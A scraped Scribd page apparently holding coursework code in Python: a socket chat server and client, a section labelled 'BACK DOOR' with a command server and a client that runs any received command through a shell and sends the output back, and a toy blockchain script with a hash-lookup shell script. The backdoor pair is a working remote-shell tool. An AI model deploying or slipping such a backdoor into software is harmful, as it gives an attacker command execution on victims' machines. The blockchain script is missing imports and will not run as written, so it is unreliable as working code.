Thanks to visit codestin.com
Credit goes to www.scribd.com

0% found this document useful (0 votes)
68 views4 pages

Bitcoin Server

The documents describe code for a chat server and client that allow users to connect and send messages to each other. A second document describes code for a backdoor server and client that allow executing commands remotely. The third document describes code for a basic blockchain implementation with functions for transactions, lookups, and viewing records.

Uploaded by

Yhon Pacavita
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
68 views4 pages

Bitcoin Server

The documents describe code for a chat server and client that allow users to connect and send messages to each other. A second document describes code for a backdoor server and client that allow executing commands remotely. The third document describes code for a basic blockchain implementation with functions for transactions, lookups, and viewing records.

Uploaded by

Yhon Pacavita
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
You are on page 1/ 4

CHAT Sever.

py
import socket, threading, sys
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind( ('172.17.0.2', 5000) )
server.listen(5)
clients = []
nicknames = []
def broadcast(message):
for client in clients:
client.send(message)
def handle(client):
while True:
try:
message = client.recv(1024)
broadcast(message)
except:
index = clients.index(client)
clients.remove(client)
client.close()
nickname = nicknames[index]
broadcast('{} left!'.format(nickname).encode('ascii'))
nicknames.remove(nickname)
break
def receive():
while True:
client, address = server.accept()
print("Connected with {}".format(str(address)))
client.send('NICKNAME'.encode('ascii'))
nickname = client.recv(1024).decode('ascii')
nicknames.append(nickname)
clients.append(client)
print("Nickname is {}".format(nickname))
broadcast("{} joined!".format(nickname).encode('ascii'))
client.send('Connected to server!'.encode('ascii'))
thread = threading.Thread(target=handle, args=(client,))
thread.start()
receive()

cliente.py
import socket, threading
nickname = raw_input("Choose your nickname: ")
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('172.17.0.2', 5000))
def receive():
while True:
try:
message = client.recv(1024).decode('ascii')
if message == 'NICKNAME':
client.send(nickname.encode('ascii'))
else:
print(message)
except:
print("An error occured!")
client.close()
break
def write():
while True:
message = '{}: {}'.format(nickname, raw_input(''))
client.send(message.encode('ascii'))
receive_thread = threading.Thread(target=receive)
receive_thread.start()
write_thread = threading.Thread(target=write)
write_thread.start()

--------------------------------------------------------------------
BACK DOOR

server.py
import socket

HOST = '172.17.0.2'
PORT = 8081
server = socket.socket()
server.bind((HOST, PORT))
print('[+] Servidor comenzado')
print('[+] Escuhando conexiones ...')
server.listen(1000000)
client, client_addr = server.accept()
print(f'[+] {client_addr} Client connected to the server')

while True:
command = input('Ingrese comandos: ')
command = command.encode()
client.send(command)
print('[+] Command sent')
output = client.recv(1024)
output = output.decode()
print(f"Output: {output}")

cliente.py
import socket
import subprocess

REMOTE_HOST = '172.17.0.2'
REMOTE_PORT = 8081
client = socket.socket()
print("[-] Conexion Iniciada...")
client.connect((REMOTE_HOST, REMOTE_PORT))
print("[-] Conexion establecida!")

while True:
print("[-] Esperando Comandos...")
command = client.recv(1024)
command = command.decode()
op = subprocess.Popen(command, shell=True, stderr=subprocess.PIPE,
stdout=subprocess.PIPE)
output = op.stdout.read()
output_error = op.stderr.read()
print("[-] Enviando respuesta...")
client.send(output + output_error)

---------------------------------------------------------------

BLOCKCHAIN.py

import getpass
import subprocess
from random import randint
print (" ( ( ) ( ) ")
print (" )\))( ' ( ( /( ( )\( ( /( ( ||_||_ ")
print (" ((_)()\ ) ( )( )\()) )((_)\ )\())( ( )\ ( (_-<_-< ")
print (" _(())\_)())\(()\((_)\ ((_)((_|_))/ )\ )((_) )\ ) / _/ _/ ")
print (" \ \((_)/ ((_)((_) |(_) | _ |*) |_ ((_|( (*)_(_/( || || ")
print (" \ \/\/ / _ \ '_| / / | _ \ | _/ _/ _ \ | ' \)) ")
print (" \_/\_/\___/_| |_\_\ |___/_|\__\__\___/_|_||_| ")
def pown():
for i in range(3):
found = False
count = randint(10, 100)
n = count
nonce = randint(1000, 1000000)
c = nonce
text = input("+(3)+ Escribe el ID de usuario que envia: -> ")
text1 = input("+(3)+ Escribe el ID del usuario que recibe: -> ")
monto = int(input("+(3)+ Escribe el monto a enviar: -> "))
strnulls = 4
nulls = makeStringNulls(strnulls)
try:
mode = 1
has = sha256((text + str(nonce)).encode()).hexdigest()
log = open("log.txt","a+")
log.write("Envia: "+text+ " ,Recibe: "+text1+" ,ID: "+str(n)+" ,Nonce:
"+str(c)+" ,Monto: "+str(monto)+" ,Hash: "+str(has)+" ,Fecha:
"+str(datetime.today().strftime('%Y-%m-%d %H:%M'))+"\n")
log.close()
except:
print("ERROR Tipo de Hash")
return
while not found:
if mode == 1:
hasht = sha256((text + str(nonce)).encode()).hexdigest()
if hasht.startswith(nulls):
found = True
print("Hash Anterior: -> " + str(has))
print("Hash Encontrado: -> " + str(hasht))
print("Envia: -> "+text+" Recibe: -> "+text1+" Monto: ->
"+str(monto)+" ID: -> "+str(count)+" Nonce: -> "+str(nonce)+" \n")
nonce += 1
count += 1
else:
print("ERROR! En el modelo")
found = True
def consulta():
exit_code = subprocess.call('./consulta.sh')
def regitros():
system("cat log.txt")
def makeStringNulls(nulls):
strnulls = ""
for i in range(nulls):
strnulls += "0"
return strnulls
def start():
starti = False
while not starti:
try:
startinput = int(input("(1)----> ¿Quieres realizar una transacción? Si=
1, No= 2: -> "))
if startinput == 1:
pown()
elif startinput == 2:
startinput = int(input("(2)----> ¿Quieres realizar una consulta?
Si= 3, No= 4: -> "))
if startinput == 3:
consulta()
elif startinput == 4:
startinput = int(input("(3)----> ¿Quires ver los registros? Si=
5, No= 6: -> "))
if startinput == 5:
regitros()
elif startinput == 6:
print("Fin Registro y evaluacion BlockChain")
starti = True
else:
print("ERROR! de entrada")
except:
print("ERROR!")
start()
def proof(hasht, text):
if hasht == sha256(text.encode()).hexdigest():
print("Hash correcto" + hasht)
else:
print("Hash incorrecto " + hasht)

consulta.sh
#!/bin/sh
echo "+(6)+ Escribe el hash que deseas buscar: ->"
read busc
grep $busc log.txt

You might also like